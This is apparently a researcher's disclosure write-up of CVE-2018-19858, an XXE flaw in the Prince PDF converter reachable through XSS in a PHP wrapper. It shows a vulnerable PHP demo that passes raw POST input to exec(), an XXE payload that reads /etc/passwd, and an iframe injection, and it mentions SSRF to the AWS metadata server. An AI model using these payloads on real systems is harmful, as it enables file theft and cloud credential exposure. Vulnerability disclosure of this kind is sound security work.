XSS to XXE in Prince v10 and below (CVE-2018-19858)



This is a vulnerability I found while participating in a bug-bounty program earlier this year. It affects Prince, a software that converts "HTML, XHTML, or one of the many XML-based document formats" to PDF.


Prince (versions 10 and below) is vulnerable to XML External Entities (XXE) due to the software processing XML with no protections against entities. This allows a remote attacker to gain file read, perform SSRF attacks, DOS, and more. This software is often used with a custom web wrapper that passes user-input into an HTML template which is then converted into a PDF.

Due to this, it will ocassionally require an XSS in the wrapper – no proper sanitization of user-input before passing it into the HTML template that's being converted.


Demo: http://<server>/convert.php

$binary = "/usr/local/bin/prince";
  $content = $_POST['content'];
  $file = "/tmp/doc.html";
  $sf = fopen($file, 'w');
  fwrite($sf, $content);
  exec($binary." /tmp/doc.html -o out.pdf");
  header('Location: /out.pdf');
} else {
	echo '
textarea {
  width: 500px;
  height: 300px;
	<textarea name="content" form="princeForm">Enter text here...</textarea>
        <form method="POST" action="/convert.php" id="princeForm">
        <input type="submit" value="Convert to PDF"></input>

Host an XML file with the following contents:

<?xml version="1.0"?>
<!DOCTYPE cdl [<!ENTITY asd SYSTEM "file:///etc/passwd">]>

Now give the converter the following HTML:

<iframe src="http://<server>/xxe.xml">

Prince will then retrieve the url in the SRC attribute in an attempt to display the iframe, process the XML we provide, and then render the result in the converted PDF document:


We can exploit this XXE to get full-read SSRF by giving it a SYSTEM entity with a URL instead, such as the AWS metadata server:



This issue was fixed in Prince version 11 and was assigned the following CVE: CVE-2018-19858.

There's another vulnerability affecting Prince versions 12 and below that I'll write-up soon as soon as it's patched.

Thanks for reading,

Corben Leo